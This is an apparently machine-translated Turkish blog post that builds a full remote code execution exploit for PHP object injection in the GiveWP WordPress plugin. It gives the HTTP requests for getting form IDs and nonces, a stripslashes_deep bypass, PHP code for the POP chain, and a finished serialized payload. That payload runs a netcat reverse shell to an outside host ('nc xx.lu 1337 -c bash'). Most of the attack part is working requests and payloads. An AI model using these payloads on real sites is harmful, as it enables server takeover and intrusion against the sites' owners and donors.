Birkaç gün önce Wordfence, popüler WordPress Eklentisi GiveWP’nin tüm <= 3.14.1 sürümlerini etkileyen PHP Nesne Enjeksiyonu güvenlik açığı hakkında bir blog yazısı yayınladı. Blog yazısı yalnızca kullanılan POP zincirinin (bir kısmı) hakkında bilgi içerdiğinden, bir göz atmaya ve tamamen işlevsel bir Uzaktan Kod Yürütme istismarı oluşturmaya karar verdim. Bu yazı, eksik parçaları belirleyerek ve tüm POP zincirini oluşturarak sürece nasıl yaklaştığımı anlatıyor. Başlangıçta güvenlik açığını ve zinciri keşfeden @villu164'e selamlar.
Wordfence blog yazısı, güvenlik açığının temel nedenine ilişkin bazı bilgiler ve POP zincirinin kısa bir açıklamasını sağlarken, bazı önemli noktaları (kasıtlı olarak, sanırım) gözden kaçırıyor. WordPress’i kurma ve kurma ve hata ayıklama ortamını VScode kullanarak kurma sürecini burada atlayıp doğrudan ayrıntılara geçiyorum. Hatadan başarıyla yararlanmanın tek ön koşulu (eklentinin eski sürümüne rağmen), GiveWP’nin etkinleştirilmesi ve en az bir bağış formuyla yapılandırılmasıdır.
Giriş Noktası
Güvenlik açığı bulunan kod yolu aşağıdakiler kullanılarak tetiklenebilir: give_process_donation
ajax eylemi. İlgili verileri analiz ederken hemen göze çarpan bir şey give_process_donation_form
yöntem, 38. satırda bir tür tek seferlik doğrulamanın bulunmasıdır. includes/process-donation.php
:
function give_process_donation_form() { // Sanitize Posted Data. $post_data = give_clean( $_POST ); // WPCS: input var ok, CSRF ok. // Check whether the form submitted via AJAX or not. $is_ajax = isset( $post_data['give_ajax'] ); // Verify donation form nonce. if ( ! give_verify_donation_form_nonce( $post_data['give-form-hash'], $post_data['give-form-id'] ) ) { if ( $is_ajax ) { /** * Fires when AJAX sends back errors from the donation form. * * @since 1.0 */ do_action( 'give_ajax_donation_errors' ); give_die(); } else { give_send_back_to_checkout(); } }
Görünüşe göreBir bağış formunun form kimliğine ve tekrarına ihtiyacımız var. Yanlış bir yapılandırma aşağıdaki durumlara neden olmadığı sürece NONCE_KEY
Ve NONCE_SALT
bilinen bazı genel değerlere eşit olduğundan, tek seferlik müşteri tarafında hesaplanamaz.nedeni hakkında bu makaleyi okuyun.
Bağış Formu Kimliğini Alma
Neyse ki GiveWP bize ajax eylemini sağlıyor give_form_search
mevcut tüm bağış formlarının kimliklerini almak için başka hiçbir argüman olmadan çağrılabilir:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 192.168.178.100:9000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 23 Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24" sec-ch-ua-mobile: ?0 action=give_form_search
Bu, kimlikleri bir dizi olarak döndürür:
Hedef Formun Nonce’sini Alma
Daha önce de belirtildiği gibi, WordPress nonce’leri istemci tarafında kolayca hesaplanamaz. Ama yine şanslıyız. GiveWP bize başka bir ajax eylemi sağlar: give_donation_form_nonce
bize belirli bir bağış formunun hemen bilgisini vermek için. Böylece daha önce keşfedilen form kimliğini kullanarak verebilirsiniz. give_form_id
parametre:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 192.168.178.100:9000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 47 Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24" sec-ch-ua-mobile: ?0 action=give_donation_form_nonce&give_form_id=11
ve bir kez geri döneceksin:
Savunmasız Kod Yolunu Tetiklemek
Güvenlik açığı bulunan kod yolu aşağıdakiler kullanılarak tetiklenebilir: give_process_donation
Form kimliğini ve tekrarını verirken ajax eylemi. Örnek bir istek aşağıdakine benzer:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 192.168.178.100:9000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 653 Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24" sec-ch-ua-mobile: ?0 action=give_process_donation&give-form-hash=cc27fec673&give-form-id=11&[email protected]&give_first=a&give-amount=10&give-gateway=manual&give_stripe_payment_method=&give_last=b&give_title=to_be_unserialized
Bu isteği tetiklediğinizde, şunu fark edeceksiniz: give_title
parametre içinde saklanır wp_give_donormeta
masa:
O _give_donor_title_prefix
anahtarı daha sonra Wordfence’in blog yazısında açıklandığı gibi serileştirilmedi. Give()->donor_meta->get_meta()
yöntem.
stripslashes_deep’i atlamak
Hemen göze çarpmayan ancak daha sonra önem kazanacak bir şey, stripslashes_deep
doğrulama sırasında $user_info
savunmasız olanları içeren dizi user_title
bağlanmak:
// Setup donation information. $donation_data = [ 'price' => $price, 'purchase_key' => $purchase_key, 'user_email' => $user['user_email'], 'date' => date( 'Y-m-d H:i:s', current_time( 'timestamp' ) ), 'user_info' => stripslashes_deep( $user_info ), 'post_data' => $post_data, 'gateway' => $valid_data['gateway'], 'card_info' => $valid_data['cc_info'], ];
Bu neden önemli? PHP nesne enjeksiyonu istismarları genellikle sınıf adlarına eğik çizgi içerebilen ad alanlarını kullanarak başvurur. stripslashes_deep
arayarak bunlardan kurtulmaya çalışır stripslashes
her değerde. Ancak bu, dört eğik çizgi () kullanılarak kolayca atlanabilir.\\\\
) ad alanı adlarında.
Güzel POP Zincirini Yeniden Oluşturmak:
Wordfence gönderisi, ondan bir PoC oluşturmak için zincirin geniş ama iyi bir tanımını sağlar. Bu zinciri birden fazla parçaya bölelim:
(kaynak)
Zinciri Düz PHP’de Yeniden Oluşturmak
Aşağıdaki PHP betiği, birden dörde kadar olan adımlar için bir nesne oluşturur. Birazdan 5. bölümün eksik olduğunu öğreneceksiniz:
_values['rcesec'] = $giveInsertPaymentData; # Part 3 $giveObject = new Give(); $giveInsertPaymentData->userInfo = ["address" => $giveObject]; # Part 4 $validGenerator = new ValidGenerator(); $giveObject->container = $validGenerator; # Serialize and bypass stripslashes_deep() $serializedData = serialize($stripeObject); echo str_replace("\\", "\\\\\\\\", $serializedData); }
İlk (Eksik) Sürümün Test Edilmesi
Yukarıdaki komut dosyası size aşağıdaki gibi serileştirilmiş bir nesne sağlayacaktır:
O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";s:0:"";}}}}}}
Bunu 3. adımdaki istekle kullanırken ve bir kesme noktası ayarlarken call_user_func_array
aramak vendor/vendor-prefixed/fakerphp/faker/src/Faker/Validgenerator.php
küçük bir parçanın eksik olduğunu fark edeceksiniz:
Son kod yürütme işlemine ulaşmadan önce call_user_func
80. satırda (bizim $this->validator
özellik doğru şekilde ayarlanmış shell_exec
), bir şekilde bunu yapmamız gerekiyor call_user_func_array
74 numaralı hattan çağrı yapın, argüman olarak ne istersek onu döndürün shell_exec
Arama. Biz kontrol ederken $this->generator
mülkiyeti kontrol etmiyoruz $name
olarak ayarlanan değişken get
.
Bu küçük bulmacayı çözmek için aşağıdakileri uygulayan bir sınıf bulmamız gerekiyor: get
yöntemidir ve aynı zamanda kullanıcı tarafından kontrol edilebilen bir dize döndürür. $name
mülk. O $name
özellik daha sonra istediğimiz argümana ayarlanabilir. shell_exec
Arama.
Zinciri Tamamlayacak Bir Gadget Bulma
Uygun bir alet ararken hemen şunu buldum: Give\Onboarding\SettingsRepository
sınıf:
class SettingsRepository { /** @var array */ protected $settings; /** @var callable */ protected $persistCallback; /** * @since 2.8.0 * * @param callable $persistCallback * * @param array $settings */ public function __construct(array $settings, callable $persistCallback) { $this->settings = $settings; $this->persistCallback = $persistCallback; } /** * @since 2.8.0 * * @param string $name The setting name. * * @return mixed The setting value. * */ public function get($name) { return ($this->has($name)) ? $this->settings[$name] : null; } [...]
Tarafından belirtilen bir öğeyi döndürmesi beklenen bir get yöntemi sağlar. $name
itibaren $this->settings
özelliğidir ve bu özellik tamamen kullanıcı tarafından kontrol edilebilir!
Noktaları Birleştirmek
Yapmamız gereken son şey, $this->generator
örneğinin mülkiyeti SettingsRepository
sınıf ve emin olun address1
unsuru $settings
dizi argümanımıza ayarlandı shell_exec
Arama:
[...] namespace Give\Onboarding { class SettingsRepository { public $settings = ["address1" => "nc xx.lu 1337 -c bash"]; } } [...] $validGenerator->generator = new SettingsRepository(); [...]
Bu size aşağıdaki gibi serileştirilmiş bir nesne verecektir:
O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:8:"settings";a:1:{s:8:"address1";s:21:"nc xx.lu 1337 -c bash";}}}}}}}}
Bu artık şununla sonuçlanır: generator
özelliğin bir örneğine ayarlanması Give\Onboarding\SettingsRepository
:
ne zaman call_user_func_array
çağrı işlendi, arayacak address1
daha önce açıklandığı gibi öğeyi seçin ve bunu $res
final için argüman olarak kullanılan değişken call_user_func
Arama:
Bu nihayet korkak ters kabuğunuzu tetikler: